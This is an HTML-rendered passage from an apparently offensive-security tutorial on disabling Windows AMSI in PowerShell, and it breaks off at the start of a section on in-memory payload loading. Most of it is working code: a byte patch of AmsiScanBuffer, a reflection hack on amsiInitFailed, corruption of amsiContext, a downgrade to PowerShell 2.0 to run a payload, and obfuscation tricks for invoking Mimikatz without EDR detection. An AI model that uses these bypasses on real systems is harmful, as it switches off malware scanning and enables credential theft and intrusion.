&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;quot;@&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Add-Type&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $Win32&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Lib&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Win32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::LoadLibrary(&amp;#x26;quot;amsi.dll&amp;#x26;quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Addr&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Win32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::GetProcAddress(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Lib&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &amp;#x26;quot;AmsiScanBuffer&amp;#x26;quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Patch: mov eax, 0x80070057 ; ret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Patch&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Byte&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;[]](&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0xB8&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0x57&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0x00&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0x07&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0x80&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0xC3&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Old&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;   =&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Win32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::VirtualProtect(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Addr&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;UIntPtr&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0x40&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Old&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) | &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Out-Null&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Marshal&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;System.Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Marshal&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;::Copy(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Patch&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Addr&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After running this in the session, AMSI is disabled for the current process.&lt;/p&gt;
&lt;h2 id=&quot;technique-2--force-error-via-amsiinitfailed&quot;&gt;Technique 2 — Force Error via AmsiInitFailed&lt;/h2&gt;
&lt;p&gt;A more stealthy approach: use Reflection to set the private field &lt;code&gt;amsiInitFailed&lt;/code&gt; in the context of the current session, making PowerShell believe that AMSI failed to initialize.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# AmsiInitFailed — force initialization failure&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$a&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Ref&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;].Assembly.GetTypes() | &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Where-Object&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    $_&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;.Name&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -like&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;*Am*i*&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$b&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $a&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; | &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;ForEach-Object&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    $_&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;.GetFields&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;NonPublic,Static&amp;#x26;#x27;) | Where-Object {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        $_&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;.Name&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -like&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;*ailed*&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$b.SetValue&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;$null&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;$true&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This method is often detected by modern EDRs because the string &lt;code&gt;amsiInitFailed&lt;/code&gt; has become a signature. Use obfuscation:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Obfuscated version with string concatenation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$x&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;Am&amp;#x26;#x27; + &amp;#x26;#x27;si&amp;#x26;#x27; + &amp;#x26;#x27;Utils&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$y&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;am&amp;#x26;#x27; + &amp;#x26;#x27;si&amp;#x26;#x27; + &amp;#x26;#x27;Init&amp;#x26;#x27; + &amp;#x26;#x27;Failed&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$t&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Ref&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;].Assembly.GetType(&amp;#x26;quot;System.Management.Automation.&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$x&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$f&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $t.GetField&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$y&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;NonPublic,Static&amp;#x26;#x27;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$f.SetValue&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;$null&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;$true&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;technique-3--patch-with-marshalwriteint32&quot;&gt;Technique 3 — Patch with Marshal.WriteInt32&lt;/h2&gt;
&lt;p&gt;Variation of the direct patch, using &lt;code&gt;Marshal.WriteInt32&lt;/code&gt; without needing custom P/Invoke:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Bypass via Marshal without Add-Type&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$a&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;System.Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$b&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Ref&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;].Assembly.GetType(&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;System.Management.Automation.AmsiUtils&amp;#x26;#x27;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$c&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $b.GetField&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;amsiContext&amp;#x26;#x27;, &amp;#x26;#x27;NonPublic,Static&amp;#x26;#x27;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$d&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $c.GetValue&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;$null&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Corrupts the AMSI context&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$a&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;::WriteInt32([&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;IntPtr&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;](&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$d.ToInt64&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 0x8&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;technique-4--downgrade-to-powershell-20&quot;&gt;Technique 4 — Downgrade to PowerShell 2.0&lt;/h2&gt;
&lt;p&gt;PowerShell 2.0 does not implement AMSI. If it is still installed on the system:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Checks if PS 2.0 is available&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;powershell &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;version &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;Command &amp;#x26;quot;$PSVersionTable&amp;#x26;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Executes payload in PS 2.0 context (without AMSI)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;powershell &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;version &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;ExecutionPolicy Bypass &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;File payload.ps1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Checks for .NET 2.0/3.5 installation (required for PS 2.0)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Get-WindowsOptionalFeature&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;Online &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;FeatureName MicrosoftWindowsPowerShellV2Root&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&gt; &lt;strong&gt;Note:&lt;/strong&gt; Many modern environments have PS 2.0 disabled via GPO. Check before attempting.&lt;/p&gt;
&lt;h2 id=&quot;technique-5--string-obfuscation-signature-evasion&quot;&gt;Technique 5 — String Obfuscation (Signature Evasion)&lt;/h2&gt;
&lt;p&gt;Instead of patching AMSI, avoid triggering it. Strings known as &lt;code&gt;amsiInitFailed&lt;/code&gt;, &lt;code&gt;AmsiScanBuffer&lt;/code&gt;, &lt;code&gt;Invoke-Mimikatz&lt;/code&gt; trigger signatures. Use obfuscation:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Simple concatenation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$cmd&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;Invoke&amp;#x26;#x27; + &amp;#x26;#x27;-&amp;#x26;#x27; + &amp;#x26;#x27;Mi&amp;#x26;#x27; + &amp;#x26;#x27;mi&amp;#x26;#x27; + &amp;#x26;#x27;katz&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;IEX &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$cmd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Base64 encoding&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$encoded&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Convert&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::ToBase64String([&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Text.Encoding&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::Unicode.GetBytes(&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;Invoke-Mimikatz&amp;#x26;#x27;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;IEX ([&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Text.Encoding&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::Unicode.GetString([&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Convert&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::FromBase64String(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$encoded&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# SecureString (less common but effective)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$s&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;amsiInitFailed&amp;#x26;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$secure&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; ConvertTo-SecureString&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $s&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;AsPlainText &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;Force&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$plain&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::PtrToStringAuto(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::SecureStringToBSTR(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$secure&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;technique-6--loading-via-webrequest-in-memory&quot;&gt;Technique 6 — Loading via WebRequest (In-Memory)&lt;/h2&gt;
&lt;p&gt;Load payloads directly into memory without touching the disk, minimizing detection surface:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Bypass + in-memory loading&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# 1. Disable AMSI first&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# 2. Load remote assembly without writing to disk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
